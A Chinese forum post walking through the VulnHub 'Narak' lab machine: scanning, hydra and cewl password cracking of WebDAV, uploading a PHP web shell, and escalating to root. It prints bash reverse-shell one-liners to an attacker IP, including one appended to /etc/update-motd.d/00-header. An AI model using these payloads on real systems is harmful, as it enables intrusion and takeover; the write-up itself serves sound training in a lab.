东湖之滨 发表于 2024-9-2 17:29:52

Narak靶机打靶过程

https://img-blog.csdnimg.cn/img_convert/bd582a4634203b0388bfa7a90c7dfb86.webp?x-oss-process=image/format,png
一、靶机介绍

名称:Narak
发布日期:23 Sep 2020
Download (Mirror): https://download.vulnhub.com/ha/narak.ova
tips: Narak is the Hindu equivalent of Hell. You are in the pit with the Lord of Hell himself. Can you use your hacking skills to get out of the Narak? Burning walls and demons are around every corner even your trusty tools will betray you on this quest. Trust no one. Just remember the ultimate mantra to escape Narak “Enumeration”. After getting the root you will indeed agree “Hell ain’t a bad place to be”.
二、信息收集

主机发现
arp-scan -l
https://img-blog.csdnimg.cn/img_convert/98980a7a0fe499e9c3fc259a89ed0e49.png
端口扫描
nmap -p- 192.168.81.128 --min-rate=5000
https://img-blog.csdnimg.cn/img_convert/6beb5d2b71e207e5b7edeca580e713ad.png
nmap -p22,80 -sT -sC -sV -O 192.168.81.128
https://img-blog.csdnimg.cn/img_convert/96c7a7bc022eba1df42d8d214db73e06.png
访问首页,发现是一个有关于 Narak(印度教地狱)的介绍
https://img-blog.csdnimg.cn/img_convert/aeb0393074a8f9f6a16e5006c04b06b6.png
纳拉克(印度语:Narak)是印度教的地狱,罪人死后在那边受折磨。它也是死神闻罗王的住所(上图)。它被描述为位于宇宙的南部和地球之下。许多经文描述有28层地狱。死后,阎罗王的使者叫vamdoot,把所有的生命带到阎罗王的法庭上,在那边,阎罗王衡量生命的美德和罪恶,并作出判决,把有道德的送到swarg(天国),把罪人送到地狱之一。 在斯瓦格或纳拉克的逗留通常被描述为临时性的。在处罚结束后,灵魂根据他们的功德重生为更低或更高的生命。
About 下面有个 DoNotClick 的按钮

https://img-blog.csdnimg.cn/img_convert/00ff6cd2f47fd4e770f89190e3c86ca8.webp?x-oss-process=image/format,png
点击后发现得到一张图片
https://img-blog.csdnimg.cn/img_convert/058893916ff9fcf40b13bd5e90ab75df.png
是否这张图片有隐藏信息?
wget http://192.168.81.128/images/666.jpg
file 666.jpg
exiftool 666.jpg
https://img-blog.csdnimg.cn/img_convert/94913d97c8c2543b848e563076e27b46.png

https://img-blog.csdnimg.cn/img_convert/2a6b4767433b4a7c0ad3778102e1bab4.png
目录扫描
apt update
apt install gobuster
gobuster dir -u http://192.168.81.128 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
https://img-blog.csdnimg.cn/img_convert/afb47bef3041c3cfecb1561e5a7c49f5.png
http://192.168.81.128/webdav/ WebDAV (Web-based Distributed Authoring and Versioning) 一种基于 HTTP 1.1协议的通信协议。它扩展了HTTP 1.1,在GET、POST、HEAD等几个HTTP尺度方法以外添加了一些新的方法,使应用程序可对Web Server直接读写,并支持写文件锁定(Locking)及解锁(Unlock),还可以支持文件的版本控制。


[*]WebDAV_百度百科
可以直接put文件上去。。。。
访问需要口令.。。。
https://img-blog.csdnimg.cn/img_convert/1084fed3a692c5d34ec91ea113b97964.png
常见的弱口令测试均无法登录。。。。
简介中提到了一个用户 vamdoot 尝试ssh 爆破
hydra -l vamdoot -P /usr/share/wordlists/rockyou.txt ssh://192.168.81.128 漫长等待之后无果。。。
vamdoot 尝试 爆破 webdav
先解压rockyou.txt.gz

https://img-blog.csdnimg.cn/img_convert/1fd5e45fc0e2bdaf4830155b6df02444.png
hydra -l vamdoot -P /usr/share/wordlists/rockyou.txt 192.168.81.128 http-get /webdav -t 64
https://img-blog.csdnimg.cn/img_convert/f0deeb3dd9a7ac973cd63b3676082662.png
第一轮爆破失败

当暗码爆破失败的时候,可以优先 使用 cewl 生成字典
cewl http://192.168.81.128-w 192.168.81.128dict.txt
hydra -L 192.168.81.128dict.txt -P 192.168.81.128dict.txt 192.168.81.128 http-get /webdav -v
https://img-blog.csdnimg.cn/img_convert/8a4fa4b91ede1f79023c6b6989723c61.png
尝试 ssh
ssh yamdoot@192.168.81.128
https://img-blog.csdnimg.cn/img_convert/8a531299c0d58f9a0e6bf645a381afc0.png
尝试 webdav
https://img-blog.csdnimg.cn/img_convert/29bc1bc6428dc4154c524d620ca6a680.png
没有任何文件,so,直接测试
此时kali中有许多工具可以充当webdav的客户端,此中有一个工具davtest,可以测试通过webdav能上传哪些后缀文件以及其对应权限:
davtest -url http://192.168.81.128/webdav/ -auth yamdoot:Swarg
https://img-blog.csdnimg.cn/img_convert/382150ebc9d4ccc40a561c8af5852aa0.png
经过测试,发现可以上传 php 文件,那么直接上传 一句话木马,大概反弹shell的脚本
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.81.129/9999 0>&1'"); ?>
https://img-blog.csdnimg.cn/img_convert/ec3ac33494ed8207165f29f1e1772310.png
三、getshell

然后再使用一个客户端。把shell.php上传,此处使用的webdav客户端是cadaver:
cadaver http://192.168.81.128/webdav
输入用户名和密码(yamdoot:Swarg)
put shell.php
https://img-blog.csdnimg.cn/img_convert/2f6851bc548735232300d023bfc2efc8.png

https://img-blog.csdnimg.cn/img_convert/4adf7bbe825e7822f5bdf511ce2d4ea5.png
kali开启监听

https://img-blog.csdnimg.cn/img_convert/87fe4a6ac7c2597550ef7b0f45c88e6e.png
访问 http://192.168.81.128/webdav/shell.ph
成功反弹shell

https://img-blog.csdnimg.cn/img_convert/b0529e18ac9d3166e340f3e965c0eaee.png
四、提权

获取交互式shell
python3 -c "import pty;pty.spawn('/bin/bash')" 当前用户是一个 web 用户,没啥用,查看可登录用户
cat /etc/passwd | grep -v nologin
https://img-blog.csdnimg.cn/img_convert/dabb5ddd1f27ef638125213bad30f5bd.png
接下来我们通过下面这条下令找一些属主是root 平凡用户或组可实行 其他用户可写的文件,这种文件往往可以帮助我们实现权限提拔。
find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null

#命令解释:
从根目录下开始查找 文件类型 属主是root 普通用户或组可执行 其他用户可写如果发现了符合条件的用 ls -l命令显示错误信息从定向到null
https://img-blog.csdnimg.cn/img_convert/9b7d43209135607dd32ba64e461f418a.png
先cat了一下搜索到的第一个文件,发现内里有brainfuck加密的内容,所以尝试解密下。
cat /mnt/hell.sh
https://img-blog.csdnimg.cn/img_convert/7c84d55d0d792f71e50bc46ed262f245.png
互联网搜索得知为 BF编码

https://img-blog.csdnimg.cn/img_convert/fd895febf48bdeb8711fb33d531ab182.png
可能是某个用户的暗码,挨个试一下发现是chitragupt
chitragupt 修改 00-header 追加反弹shell的代码
echo "bash -c 'bash -i >& /dev/tcp/192.168.81.129/8888 0>&1'" >> /etc/update-motd.d/00-header
cat /etc/update-motd.d/00-header
https://img-blog.csdnimg.cn/img_convert/6339ff8effa8661787d3fe5af6940b03.png
尝试登录
ssh inferno@192.168.81.128    #chitragupt
https://img-blog.csdnimg.cn/img_convert/c00d3af73a2cabd190e2153675cf5dc6.png
五、总结



[*]1、目录扫描记得扫 txt、备份文件等
[*]2、爆破无果,可以自己通过页面单词整理一份字典
[*]3、端口扫描 TCP要是打不进去,看看UDP

 

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: Narak靶机打靶过程